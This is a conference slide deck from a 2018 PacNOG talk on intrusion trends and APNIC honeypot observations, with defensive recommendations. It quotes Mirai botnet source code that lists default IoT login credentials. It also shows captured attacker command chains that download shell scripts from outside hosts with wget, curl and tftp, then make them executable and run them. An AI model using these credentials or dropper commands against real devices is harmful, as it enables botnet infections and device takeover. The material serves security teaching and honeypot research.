

Intrusion in Cybersecurity – Observations from HoneyNet Data

25 June 2018


PacNOG22

Honiara, Solomon Islands

Agenda

1. Intrusion Trend and Scope
2. Observations from data collected APNIC's Community Honeynet Project
3. How to protect?
4. Recommendations

Trends and Patterns of Intrusions



You are already affected



Exposed data of 15775 customers, including 1257 silent line customers



2016 - 164M email addresses and passwords exposed from a compromise 4 years earlier



2014 employee details compromised and staff asked to change passwords



2013 40 million credit cards were exposed. Cost Target \$162M



2016 1.3 million records from a 550,000 blood donors exposed



2012 data breach exposed 10's of millions credentials
In 2016 forced password reset after losing 68 million records



2015 30 million accounts compromised \$578M class action lawsuit

You are already affected



Exposed data of 15775 customers, including 1257 silent line customers



2016 - 164M email addresses and passwords exposed from a compromise 4 years earlier



2014 employee details compromised and staff asked to change passwords



2013 40 million credit cards were exposed. Cost Target \$162M



2016 1.3 million records from a 550,000 blood donors exposed



2012 data breach exposed 10's of millions credentials. In 2016 forced password reset after losing 68 million records




2015 30 million accounts compromised \$578M class action lawsuit

Check your own email address at


www.haveibeenpwned.com

Value of a Hacked Email Account




Source: krebsonsecurity.com

Value of a Hacked Computer



Source: krebsonsecurity.com

Value of a Hacked Company



Source: krebsonsecurity.com

Cost of a Data Breach

- Morgan Stanley fined \$1 Million for Client Data Breach
- TalkTalk fined £400,000 for data breach
- Advocate Health Care Settles Potential HIPAA Penalties for \$5.55 Million
- UK businesses could face up to £122bn in penalties for data breaches when GDPR has been implemented
 - Up to €20 million, or 4% of the company's worldwide annual revenue
- OAIC (Office of the Australian Information Commissioner) can seek civil penalties of up to \$420,000 for individuals and up to \$2.1 million for companies, for serious or repeated interference with privacy



Security Breaches

- Common vulnerabilities can lead to mass compromises

January 08, 2008

Mass SQL injection attack compromises 70,000 websites

Updated Wed., Jan. 9, 2008, at 4:37 p.m. EST

An automated **SQL injection** attack, which at one point compromised more than 70,000 websites, hijacked visitors' PCs with a variety of exploits last week, according to researchers.

Coordinated Website
Compromise Campaigns
Continue to Plague Internet



Martin Lee - March 20, 2014 - 18 Comments


Is your website at risk from the 50,000 compromised WordPress sites?

JULY 28, 2014 | IN APPLICATION SECURITY | BY VENKATESH SUNDAR

Observations from APNIC Community Honeynet Project

Routers As A Target (aka the IoT Botnet)

- Ubiquitous
 - Enterprises, Small Businesses Home Networks
 - Accessible via the internet (public IP address)
 - Always on
 - Misconfigured and Vulnerable services
 - Weak authentication
 - Linux / Unix Based Operating Systems
- 2014
 - Moose, MrBlack, TheMoon
 - Malware targeting specific router brands
 - Carry out DDoS Attack
- 2016 - Now
 - Remaiten
 - Mirai Botnet (includes DVR)
 - Mirai Variants – Satori, Owari, Reaper
 - VPNFilter



APNIC Community Honeynet Project

- Started in 2015
- Distributed Honeypots*
- Partners mainly in the AP region
- Observe and learn about attacks on the Internet
- Information sharing with APNIC members, CERTs/CSIRTs and Security Community



Learning from Actual Compromise

- Honeypot used – Kippo & Cowrie (open source software)
- Emulate login on port 22 (ssh) and port 23
- Present attacker with file system
- Capture commands and allow attacker to download scripts/binaries (payload)
- Quick Demo <https://jp.fsck.my/viz/>

Getting In – Authentication

```
123 // Set up passwords
124 add_auth_entry("\x50\x40\x40\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
125 add_auth_entry("\x50\x40\x40\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
126 add_auth_entry("\x50\x40\x40\x56", "\x43\x46\x4F\x48\x4C", 8); // root admin
127 add_auth_entry("\x43\x46\x4F\x48\x4C", "\x43\x46\x4F\x48\x4C", 7); // admin admin
128 add_auth_entry("\x50\x40\x40\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
129 add_auth_entry("\x50\x40\x40\x56", "\x5A\x4F\x4A\x46\x48\x52\x41", 5); // root xmhdipc
130 add_auth_entry("\x50\x40\x40\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
131 add_auth_entry("\x50\x40\x40\x56", "\x48\x57\x43\x4C\x56\x47\x41", 5); // root juantech
132 add_auth_entry("\x50\x40\x40\x56", "\x13\x10\x11\x16\x17\x11", 5); // root 123456
133 add_auth_entry("\x50\x40\x40\x56", "\x17\x16\x11\x10\x11", 5); // root 54321
134 add_auth_entry("\x51\x57\x52\x52\x40\x50\x56", "\x52\x40\x50\x56", 5); // support support
135 add_auth_entry("\x50\x40\x40\x56", "", 4); // root (none)
136 add_auth_entry("\x43\x46\x4F\x48\x4C", "\x51\x55\x40\x50\x46", 4); // admin password
137 add_auth_entry("\x50\x40\x40\x56", "\x50\x40\x56", 4); // root root
138 add_auth_entry("\x50\x40\x40\x56", "\x11\x16\x17", 4); // root 12345
139 add_auth_entry("\x57\x51\x4F", "\x51\x47\x50", 3); // user user
140 add_auth_entry("\x43\x46\x4F\x48\x4C", "", 3); // admin (none)
141 add_auth_entry("\x50\x40\x40\x56", "\x52\x43\x51\x51", 3); // root pass
142 add_auth_entry("\x43\x46\x4F\x48\x4C", "\x43\x46\x4F\x48\x4C\x13\x10\x11\x16", 3); // admin admin1234
143 add_auth_entry("\x50\x40\x40\x56", "\x13\x13\x13\x13", 3); // root 1111
144 add_auth_entry("\x43\x46\x4F\x48\x4C", "\x51\x4F\x41\x43\x46\x4F\x48\x4C", 3); // admin smcadmin
145 add_auth_entry("\x43\x46\x4F\x48\x4C", "\x13\x13\x13\x13", 2); // admin 1111
146 add_auth_entry("\x50\x40\x40\x56", "\x14\x14\x14\x14\x14", 2); // root 666666
147 add_auth_entry("\x50\x40\x40\x56", "\x52\x43\x51\x51\x55\x40\x50\x46", 2); // root password
148 add_auth_entry("\x50\x40\x40\x56", "\x13\x10\x11\x16", 2); // root 1234
```

Default router credentials(part) used by Mirai

What happens after login?

```
curl http://185.X.Y.198:9092/iptables; wget http://185.X.Y.198:9092/iptables;
cd /tmp || cd /var/run || cd /mnt || cd /root ||

cd /; wget http://184.X.Y.205/bins.sh; curl -O http://184.X.Y.205/bins.sh;
chmod 777 bins.sh; sh bins.sh; tftp 184.X.Y.205 -c get tftp1.sh; chmod 777
tftp1.sh;
sh tftp1.sh; tftp -r tftp2.sh -g 184.X.Y.205;
chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 184.X.Y.205 tftp1.sh tftp1.sh;
sh tftp1.sh; rm -rf bins.sh tftp1.sh tftp2
```

Another Example

```
cd /tmp || cd /var/run || cd /mnt || cd /root ||
```

```
cd /wget http://94.X.Y.235/remove.sh; curl -O http://94.X.Y.235/remove.s
```

```
wget http://94.X.Y.235/sensi.sh; curl -O http://94.X.Y.235/sensi.sh; chmod 777
```

```
sensi.sh; sh sensi.sh; tftp 94.X.Y.235 -c get sensi.sh;
```

```
chmod 777 sensi.sh; sh sensi.sh;
```

```
tftp -r sensi2.sh -g 94.X.Y.235 chmod 777 sensi2.sh; sh sensi2.sh;
```

```
ftpget -v -u anonymous -p anonymous -P 21 94.X.Y.235 sensi1.sh sensi1.sh;
```


```
sh sensi1.sh; rm -rf sensi.sh sensi.sh sensi2.sh sensi1.sh; bash remove.sh
```

What can we learn!

- Exposed services on the Internet can be identified
 - Don't expose them on the internet or limit where they can be access from
- Weak and default authentication (guessable username/password) can be easily abused
- Attacker used other compromised devices to host malicious scripts
- Attacker use the Internet to host their attacking infrastructure!
 - DNS, Proxies, Command and Control etc

How to protect?

- Up-to-date software/OS
- Strong password
- ACL/Firewall
- Antivirus Software
- Intrusion Detection System
- Intrusion Prevention System
- more....



Interest of Honeynet

Contact

Senior Internet Security Specialist

- Adli Wahid, Security Specialist @APNIC
- Email: adli@apnic.net
- Blog: <https://blog.apnic.net>
- Interests: Computer Security & Incident Response, Security Outreach, Honeynets
- Twitter: [@adliwahid](https://twitter.com/adliwahid)



Acknowledgement

- Adli Wahid, Security Specialist @ APNIC
- Jamie Gillespie, Security Specialist @ APNIC

Thank You!